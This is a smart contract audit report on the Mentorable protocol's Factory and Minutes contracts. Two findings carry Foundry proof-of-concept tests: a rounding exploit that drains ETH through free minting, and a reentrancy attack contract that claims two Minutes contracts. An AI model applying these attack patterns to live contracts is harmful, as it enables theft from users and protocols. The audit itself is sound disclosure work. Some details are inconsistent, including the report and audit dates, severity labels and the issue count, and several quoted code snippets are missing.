Mentorable

Security Review

Jan 11, 2025

Contents

1. About SBSecurity 3

2. Disclaimer 3

3. Risk classification 3

4. Executive Summary 4

5. Findings 5

Critical severity 7

[C-01] Minutes::getCost function rounds down to zero enabling malicious users to drain the contract 7

High severity 9

[H-01] Smart contract wallets cannot Be Mentors due to tx.origin check 9
[H-02] Mentor can repeatedly call Minutes::startChat without actually commiting to a chat draining the users minutes 10

Medium severity 11

[M-01] MENTOR Can Selectively DOS Users in buyMinutes() and sellMinutes() 11
[M-02] Cross-contract Reentrancy in Factory::claimSponsoredMentor allows a malicious mentor to own two Minute contracts 12
[M-03] Rounding directions should always favor protocol 15

Low severity 16

[L-01] Reorg causes users to buy wrong mentor's tokens and send fees to wrong recipient 16
[I-01] Missing non Reentrant modifier 17
[I-02] No restriction on session types 17
[I-03] unclaimedSponsoredMentorToMinutes can be reset to zero after a user claims 17
[I-04] IMinutes interface is never used 17
[I-05] Contract name and file name mismatch in Factory.sol 18
[I-06] factory.test.sol's contract name should be FactoryTest 18
[I-07] Not using named imports 18
[I-08] Missing address(0) check for treasury in Factory.sol's constructor 19
[I-09] Minutes::priceForSellLessFee comment is misleading 19
[I-10] The Interfaces IFactory.sol and IMinutes.sol do not mirror the contracts Factory.sol and Minutes.sol 20
[I-11] receive function of Minutes.sol can be restricted or removed 20

1. About SBSecurity

SBSecurity is a team of skilled smart contract security researchers. Based on the audits conducted and numerous vulnerabilities reported, we strive to provide the absolute best security service and client satisfaction. While it's understood that 100% security and bug-free code cannot be guaranteed by anyone, we are committed to giving our utmost to provide the best possible outcome for you and your product.

Book a Security Review with us at sbsecurity.net or reach out on Twitter @Slavcheww.

2. Disclaimer

A smart contract security review can only show the presence of vulnerabilities **but not their absence**. Audits are a time, resource, and expertise-bound effort where skilled technicians evaluate the codebase and their dependencies using various techniques to find as many flaws as possible and suggest security-related improvements. We as a company stand behind our brand and the level of service that is provided but also recommend subsequent security reviews, on-chain monitoring, and high whitehat incentivization.

3. Risk classification

	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

3.1. Impact

- **High** - leads to a significant loss of assets in the protocol or significantly harms a group of users.
- **Medium** - leads to a moderate loss of assets in the protocol or some disruption of the protocol's functionality.
- **Low** - funds are not at risk.

3.2. Likelihood

- **High** - almost **certain** to happen, easy to perform, or highly incentivized.
- **Medium** - only **conditionally possible**, but still relatively likely.
- **Low** - requires specific state or **little-to-no incentive**.

3.3. Action required for severity levels

- High - **Must** fix (before deployment if not already deployed).
- Medium - **Should** fix.
- Low - **Could** fix.

4. Executive Summary

A time-boxed security review of the **NearCapital/mentorable-contracts-audit** repository was conducted by **SBSecurity**. The review was performed by a team of 4 security researchers, who identified **18 issues** in total.

Overview

Project	Mentorable
Commit Hash	f3dca8d5f2930ff373eab19dc0e0ccd49ae0747f
Resolution	59cd9ade7a9e7ac71d8234d3ed6caeea52c2e1d2
Timeline	January 6, 2026 - January 10, 2026

Scope

Factory.sol, Minutes.sol

Post Audit Condition

The codebase is well-structured and follows solid development practices. 1 Critical severity issues were found. Additional audits would be a bonus, but are not mandatory.

5. Findings

Issues Found

Critical Risk	1
High Risk	2
Medium Risk	3
Low/Info Risk	12

ID	Title	Severity	Resolution
[C-01]	`Minutes::getCost` function rounds down to zero enabling malicious users to drain the contract	Critical	**Fixed**
[H-01]	Smart contract wallets cannot Be Mentors due to tx.origin check	High	**Fixed**
[H-02]	Mentor can repeatedly call `Minutes::startChat` without actually commiting to a chat draining the users minutes	High	Acknowledged
[M-01]	MENTOR Can Selectively DOS Users in `buyMinutes()` and `sellMinutes()`	Medium	**Fixed**
[M-02]	Cross-contract Reentrancy in `Factory::claimSponsoredMentor` allows a malicious mentor to own two `Minute` contracts	Medium	**Fixed**
[M-03]	Rounding directions should always favor protocol	Medium	Acknowledged
[L-01]	Reorg causes users to buy wrong mentor's tokens and send fees to wrong recipient	Low	**Fixed**
[I-01]	Missing non Reentrant modifier	Info	Acknowledged
[I-02]	No restriction on session types	Info	Acknowledged
[I-03]	`unclaimedSponsoredMentorToMinutes` can be reset to zero after a user claims	Info	**Fixed**
[I-04]	`IMinutes` interface is never used	Info	Acknowledged

[I-05]	Contract name and file name mismatch in `Factory.sol`	Info	**Fixed**
[I-06]	`factory.test.sol`'s contract name should be `FactoryTest`	Info	**Fixed**
[I-07]	Not using named imports	Info	**Fixed**
[I-08]	Missing `address(0)` check for treasury in `Factory.sol`'s constructor	Info	**Fixed**
[I-09]	`Minutes::priceForSellLessFee` comment is misleading	Info	**Fixed**
[I-10]	The Interfaces `IFactory.sol` and `IMinutes.sol` do not mirror the contracts `Factory.sol` and `Minutes.sol`	Info	**Fixed**
[I-11]	`receive` function of `Minutes.sol` can be restricted or removed	Info	**Fixed**

Critical severity

[C-01] `Minutes::getCost` function rounds down to zero enabling malicious users to drain the contract

Severity: Critical Risk

Description: The function `Minutes::getCost` has the following lines-of-code:

here if the `supplyStart` and `supplyEnd` are in the same integer part in ETH units (in between the ceil and floor of a unit of ETH)

let's say

1. supplyStart : 0 ether , SupplyEnd : 0.5 ether

2. supplyStart : 1.5 ether , SupplyEnd :1.99 ether

etc.

the function returns a value of `0` resulting in `Minutes::PriceToBuy` and `Minutes::PriceToSell` functions also to return `0` .

Now since `PriceToBuy` is used in cost calculation of `Minutes::buyMinutes` a malicious user can enter `_amount` in the same integer part in ETH units such that the `cost` returned is `0` but the `Minutes` minted are equal to `_amount`. The user repeats this several times, minting a lot of minutes, and later sells those minutes to drain the contract.

Legitimate sellers also will lose their funds as `ethOut` returned in `Minutes::sellMinutes` will be `0` if the user enters `_amount` in same integer part.

Impact:

1. Malicious users can drain the contract of ETH by minting a lot of minutes at `0` cost and selling them, or can use those minutes to `redeemMinutes` for free.

2. Legitimate sellers will lose their funds if they pass `_amount` such that `CurrentSupply` and `CurrentSupply - _amount` have the same integer part in ETH units

3. The fees are paid only by the users whose transactions increment the `totalSupply()/1 ether` by 1 or more Eth units

Proof of Concept:

1. Paste the following PoC in `Minutes.test.sol` and run it using `forge test --mt test_stealMinutes -vv`

Note: Read the code comments and observe the logs for more details

```
function test_stealMinutes() public {
    //Declaring the variables which are user in loop
    uint256 amountToBuy;
    uint256 price;

    //Funding bob with some Eth balance
    //@note bob is a legitimate user , alice is malicious user

    vm.deal(bob, 10 ether);

     // We iterate 100 times to show Alice can exploit the issue multiple times
    for (uint256 i = 0; i < 100; i++) {
        //  console.log("------- %d th Iteration---------------------- ", i);

        //Alice initiall buys 0.99 ether minutes (covers i --> i+1 -1 range)
        amountToBuy = 1 ether - 1;
        price = mins.priceToBuyWithFee(amountToBuy);
        console.log("Price to buy 1 minute with fee:", price);
        vm.startPrank(alice);
        console.log("Price :", price);
        mins.buyMinutes{value: price}(amountToBuy);
        vm.stopPrank();

        //Bob buys 1 wei worth of minutes (this is to show supply from i+1 -1 ---> i+1)
        amountToBuy = 1;
        price = mins.priceToBuyWithFee(amountToBuy);
        console.log("Price :", price);
        vm.startPrank(bob);
        mins.buyMinutes{value: price}(amountToBuy);
        vm.stopPrank();

    }

    console.log("Alice minutes balance: %e", mins.balanceOf(Alice));

    //Assertion to check Alice's balance ,which she gotfor free as we never funded alice with eth
    assertEq(mins.balanceOf(alice), 100 ether - 100, "Alice should have 1 minute”);

    //Alice Sells the 99 ether minutes darining the contract of ETH balance
    uint256 amountToSell = 99 ether;
    uint256 sellPrice = mins.priceForSell(amountToSell);

    console.log("Sell price: %e", sellPrice);

    vm.startPrank(alice);
    mins.sellMinutes(amountToSell, 0);
    vm.stopPrank();

    console.log("Alice Eth Balance after sell: %e ", alice.balance);

}
```

Logs:

```
Alice minutes balance: 9.99999999999999999e19
Sell price: 1.1888333325e16
Alice Eth Balance after sell: 1.176944999175e16
```

Recommendation: It is recommended to make the following changes in `Minutes::getCost` function to mitigate this issue

Resolution: Fixed

High severity

[H-01] Smart contract wallets cannot Be Mentors due to tx.origin check

Severity: Medium Risk

Description: The `claimMentor()` function uses `tx.origin == MENTOR` to verify the mentor's identity. This check fails for all smart contract wallets (Gnosis Safe, Account Abstraction wallets, etc.) because `tx.origin` is always the EOA signer, never the contract address.

Additionally, when a smart contract calls `createMinutesContract()`, the constructor sets `unclaimed = true` (because `_mentor != tx.origin`). The contract is registered in `mentorToMinutes`, not `unclaimedSponsoredMentorToMinutes`, making it impossible to claim through either path:

- `claimSponsoredMentor()` fails because the contract isn't in the unclaimed mapping

- Direct `claimMentor()` fails on the `tx.origin == MENTOR` check

Impact:

1. Smart contract wallets (Gnosis Safe, AA wallets) cannot be mentors at all

2. Any smart contract calling `createMinutesContract()` creates a permanently unusable Minutes contract stuck in `unclaimed = true` state

3. Users cannot call `redeemMinutes()` on these contracts (requires `!unclaimed`)

4. Accumulated fees in `unclaimedFees` are permanently locked

Recommendation: After the Mentor selective DoS issue fix, the `claimMentor` function is not needed, so you can remove it.

Resolution: Fixed

[H-02] Mentor can repeatedly call `Minutes::startChat` without actually commiting to a chat draining the users minutes

Severity: Medium Risk

Description: The Mentor of a `Minutes` contract can call `Minutes::startChat` to start a chat with another user and claim the duration amount of minutes to themselves by converting them to eth.

The issue here is that there are no checks present in `Minutes::startChat` which prevent the Mentor from repeatedly calling `Minutes::startChat` and draining the users minutes without actually committing to the agreed chat duration time which is currently `1e18 amount of Minutes` for 60 seconds of time.

The Ideal scenario should be once the `startChat` is called the Mentor should receive the `_amount` only if he commits to the duration of chat or if a user decided to end the chat first.

Impact: A Malicious Mentor can drain the users minutes by repeatedly calling `Minutes::startChat`

Recommendation: One recommendation for this can be to consider streaming the claimed amounts to the Mentor with respect to the time committed in chat. From the tests we can infer that `1e18 amount of Minutes` is equal to `60 seconds` so steady `rate` can be fixed which increases linearly as the time spent in session increases or if a user decided to end the chat then all the remaining amount is streamed to the Mentor instantly.

This cannot be implemented in `startChat` function alone so consider adding the following functions too:

1. `startSession`: same as start chat only mentor can call this and records the start time stamp for that particular session ,this function should also restrict the Mentor from starting multiple chat sessions at the same time when one particular chat session is already in progress (when one is accepted by a user)

2. `acceptSession`: A user has to accept the session started by the Mentor else Mentor can start a new session with a different user , This function also starts the streaming of minutes to the Mentor

3. `claimSession`: The duration minutes can be claimed to eth by the Mentor in this function , the rewards are streamed from `start Timestamp` ------> `end of session` at a steady rate, Mentor can claim them at his own convenience as a state var records rewards accrued across all session and resets after claiming

4. `endSession`: A user can decide to end session early in which case the remaining `_amount` duration Minutes are streamed to the Mentor i.e the remaining rewards to be streamed upto `end of Session`

If implementing the streaming/vesting seems a bit complex to implement a simpler alternative for this can be to just transfer the `_amount` to the Mentor only after he commits fully to the chat duration or if the user calls `endSession`

Resolution: Acknowledged

Medium severity

[M-01] MENTOR Can Selectively DOS Users in `buyMinutes()` and `sellMinutes()`

Severity: Medium Risk

Description: The MENTOR can selectively prevent specific users from buying or selling minutes by using a contract with conditional logic in the `receive()` function. The `buyMinutes()` and `sellMinutes()` functions transfer fees directly to the MENTOR address and revert if the transfer fails.

If MENTOR is a contract (or an EOA using EIP-7702 delegation), the contract can implement logic that reverts only for certain users while allowing others to proceed. This enables targeted censorship and market manipulation without DoSing the entire market.

This issue only applies after `unclaimed` is set to `false` via `claimMentor()`. Once claimed, the vulnerability is permanent as the MENTOR address is immutable.

Impact:

1. MENTOR can blacklist specific users, preventing them from buying or selling

2. MENTOR can whitelist only approved addresses

3. MENTOR can target users and have their funds locked by making the `sell` function revert for them

Recommendation: Implement a pull payment pattern instead of pushing payments to MENTOR.

Resolution: Fixed

[M-02] Cross-contract Reentrancy in `Factory::claimSponsoredMentor` allows a malicious mentor to own two `Minute` contracts

Severity: Medium Risk

Description: The function `Factory::claimSponsoredMentor` has the following code:

This function in turn calls `Minutes::claimMentor` which has the following code:

The issue here is that when the execution reaches `MENTOR.call{value: fees}("")` the Mentor can reenter the `Factory::createMinutesContract` function and create another `Minutes` contract for themselves and thus own two `Minutes` contracts.

Note: The attack path assumes that the `tx.origin` issue is already fixed for it to work

Attack Path:

1. Malicious user creates a `contract A`, and calls `sponsorMentor` with `contract A` as Mentor address and gets the minutes contract address `min A`

2. Malicious user calls `buyMinutes` in `min A` to make `unclaimedFees > 0`

3. Now using `contract A` malicious user calls `claimSponsoredMentor` in `Factory`

4. This in turn calls `claimMentor` in `Minutes` and triggers `MENTOR.call("")` as unclaimed Fees is > 0 and triggers `Contract A`'s malicious receive

5. `contract A`'s receive is already set to call `createMinutesContract` once

6. `contract A` reenters and calls `createMinutesContract` which creates a new `Minutes` contract `min B` with `contract A` as Mentor

7. Finally execution ends setting `mentorToMinutes[contract A] = min A`

8. Now both `min A` and `min B` contracts are owned by `contract A`

Impact:

A Malicious User can become Mentor for two `Minutes` contracts.

Proof of Concept:

1. A Malicious User can become Mentor for two `Minutes` contracts. Paste the following PoC in `Factory.test.sol` and run it using `forge test --mt test_Reentrancy_TwoMinutesContracts -vv`

```
// added receive as this contract is treasury and this is required for reentrancy PoC
    receive() external payable {}

    function test_Reentrancy_TwoMinutesContracts() public {
        MentorFactory mentorFactory = new MentorFactory(factory);

        deal(bob, 1 ether);
        vm.startPrank(bob);

        Minutes min1 = factory.sponsorMentor(address(mentorFactory), "Mentor Minutes", "MM");

        min1.buyMinutes{value: 1 ether}(1 ether);

        mentorFactory.claimMentor();

        vm.stopPrank();

        //assertions to show that min1 and mentorFactory.mins() are different contracts
        // but have same address as MENTOR
        assert(address(min1) != address(mentorFactory.mins()));
        assertEq(min1.MENTOR(), mentorFactory.mins().MENTOR());
    }

  } // This is FactoryTest contract's closing bracket

// The MentorFactory contract
contract MentorFactory {

  // State Vars
    MinuteFactory public factory;
    Minutes public mins;
    bool createOnce;

    constructor(MinuteFactory _factory) {
        factory = _factory;
    }

    //function to claim mentor with address(this) as msg.sender
    function claimMentor() external {
        factory.claimSponsoredMentor();
    }
```

```
    //Reentrant Receive , which calls createMinutesContract only once
    receive() external payable {
        if (!createOnce) {
            createOnce = true;
            console.log("In fallback , reentering createMinutesContract");
            mins = factory.createMinutesContract("Reentered Minutes", "RM");
        }
    }
    fallback() external payable {}

    // just a transfer function to show that this contract is a usable one (not important for the issue)
    function transferFunds(address payable to, uint256 amount) external {
        require(to != address(0), "Invalid address");
        require(amount <= address(this).balance, "Insufficient balance");
        to.transfer(amount);
    }
}
```

Recommendation: Setting the `mentorToMinutes[msg.sender]` to `minutesAddress` in `Factory::claimSponsoredMentor` before the `mins.claimMentor()` external call will mitigate the issue.

Make the following changes in `Factory::claimSponsoredMentor`:

Resolution: Fixed

[M-03] Rounding directions should always favor protocol

Severity: Medium Risk

Description: The `Minutes::buyMinutes` and `Minutes::sellMinutes` functions currently call `priceToBuy` and `priceForSell` functions respectively to calculate the price for buying and selling minutes and both these functions call `Minutes::getCost` function to know the cost/ ethOut.

The issue here is that both these functions RoundDown the cost. Also both `Minutes::buyMinutes` and `Minutes::sellMinutes` functions calculate fee and halfFee in the following manner both of which RoundDown.

now in `Minutes::buyMinutes` the excess eth transferred is refunded to user in this way

here since `fee` is a RoundedDown value, the `userReceives` is will be slightly more than expected

All these Rounding Directions do not favor the protocol and will leak value from the protocol as time goes on

Impact:

The current rounding directions do not favor the protocol and will leak value from the protocol as time goes on

Recommendation: The Rule-of-thumb in Rounding directions is that Rounding should always be in favor of the protocol ,so its is recommended that all `fee` and `halfFee` calculations should be rounded in favor of the protocol i.e Rounded up.

The `ethOut` value returned by `Minutes::sellMinutes`'s `priceForSell` should Round Down (as being done currently)

The `cost` value returned by `Minutes::buyMinutes`'s `priceToBuy` should Round up

as for the `sellMinutesInternal` used in `Minutes::startChat` the protocol can decide the rounding direction as there is no `Fee` involved here

Resolution: Acknowledged

Low severity

[L-01] Reorg causes users to buy wrong mentor's tokens and send fees to wrong recipient

Severity: Low Risk

Description: The Factory uses the `CREATE` opcode to deploy Minutes contracts. During an L2 reorg, transaction ordering can change, causing different mentors to receive different addresses than originally assigned.

When a user queries `mentorToMinutes[Alice]` to get Alice's contract address, then submits a `buyMinutes()` transaction, a reorg can occur between these steps. If Bob's contract creation transaction executes before Alice's in the reorg, Bob's contract will be deployed at the address the user cached for Alice.

The user's `buyMinutes()` transaction will execute on Bob's contract because:

- The contract address `0xAAAA` now contains Bob's contract (with immutable `MENTOR = Bob`)
- The user receives Bob's ERC20 tokens instead of Alice's
- Half the purchase fee is sent to Bob instead of Alice via `MENTOR.call{value: fee}("")`

Impact:

1. 1% of purchase amount sent as fees to wrong mentor
2. User gets Bob's ERC20 tokens, which are incompatible with Alice's mentorship sessions
3. To get correct tokens, the user must sell Bob's tokens (fee loss) and buy Alice's tokens (fee loss)
4. If user redeems minutes for this wrong address, they have to wait for cancelDelay (default 1 day) to cancel the queue and sell those minutes

Recommendation: Use `CREATE2` with the mentor address in the salt to make contract addresses deterministic:

Resolution: Fixed

[I-01] Missing non Reentrant modifier

Severity: Information Risk

Description: The protocol's ETH-handling functions (buyMinutes, sellMinutes, startChat, claimMentor) lack reentrancy guards

Recommendation: Add OpenZeppelin's ReentrancyGuard and apply the nonReentrant modifier to all functions that perform external ETH transfers:

- buyMinutes()
- sellMinutes()
- startChat()
- claimMentor()

Resolution: Acknowledged

[I-02] No restriction on session types

Severity: Information Risk

Description: In the redeemMinutes function there is no restriction on the _type parameter. A user can specify any number from 0 to uint256.max.

Impact: There are no strict types of session and this can confuse the mentor.

Recommendation: Add session types

Resolution: Acknowledged

[I-03] `unclaimedSponsoredMentorToMinutes` can be reset to zero after a user claims

Severity: Information Risk

Description: currently the `unclaimedSponsoredMentorToMinutes` points to `minutesAddress` even after a user claims and this can be

Resolution: Fixed

Recommendation: reset after the user claims reset the `unclaimedSponsoredMentorToMinutes[msg.sender]` to in `claimSponsoredMentor`

[I-04] `IMinutes` interface is never used

Severity: Information Risk

Description: The inferface `IMinutes.sol` is never used and is recommended to be used as an interface for `Minutes` contract and commenting it thoroughly.

Recommendation: using `IMinutes` interface is recommended

Resolution: Acknowledged

[I-05] Contract name and file name mismatch in `Factory.sol`

Severity: Information Risk

Description: The file `Factory.sol` has the contract named is `MinuteFactory` which causes a little confusion

Recommendation: It is recommended to change the file name to `MinuteFactory.sol` for consistency and easier understanding

Resolution: Fixed

[I-06] `factory.test.sol`'s contract name should be `FactoryTest`

Severity: Information Risk

Description: The file `factory.test.sol` has the contract name has a typo and is named `FactortTest`

Recommendation: Change the contract name to `FactoryTest`

Resolution: Fixed

[I-07] Not using named imports

Severity: Information Risk

Description: The Contracts currently import using the following syntax

```
import "./Minutes.sol";
```

which is not recommended to be used as it can cause naming conflicts

Recommendation: using named imports i.e,

```
import {Minutes} from "./Minutes.sol";
```

is recommended , which can be used to avoid naming conflicts and makes overall code clean

Resolution: Fixed

[I-08] Missing `address(0)` check for treasury in `Factory.sol`'s constructor

Severity: Information Risk

Description: The `Factory.sol`'s constructor has the following code:

It doesn't check for `address(0)` for `treasury` which can cause some temporary issues if `treasury` is accidentally set to `address(0)`

Recommendation: Add the `checkrequire(_treasury != address(0), "Invalid treasury address");` in `Factory.sol`'s constructor

Resolution: Fixed

[I-09] `Minutes::priceForSellLessFee` comment is misleading

Severity: Information Risk

Description: `Minutes::priceForSellLessFee:`

The comment says `including fees` but the code shows that it excludes the fees.

Recommendation: change the comment to - // price for an amount of minutes, excluding fees

Resolution: Fixed

[I-10] The Interfaces `IFactory.sol` and `IMinutes.sol` do not mirror the contracts `Factory.sol` and `Minutes.sol`

Severity: Information Risk

Description: The Interfaces `IFactory.sol` and `IMinutes.sol` currently have incorrectly declared functions and undeclared functions when compared to the contracts `Factory.sol` and `Minutes.sol`

Recommendation: It is recommended to completely refactor the interfaces `IFactory.sol` and `IMinutes.sol` to mirror the contracts `Factory.sol` and `Minutes.sol` and comment them thoroughly

Resolution: Fixed

[I-11] `receive` function of `Minutes.sol` can be restricted or removed

Severity: Information Risk

Description: The `receive` function of `Minutes.sol` can be restricted as there is no recovery mechanism in this to recover eth from the contract

Recommendation: It is recommended to restrict the `receive` to revert on direct eth transfers or remove it entirely , you can also consider adding an eth recovery mechanism too

Resolution: Fixed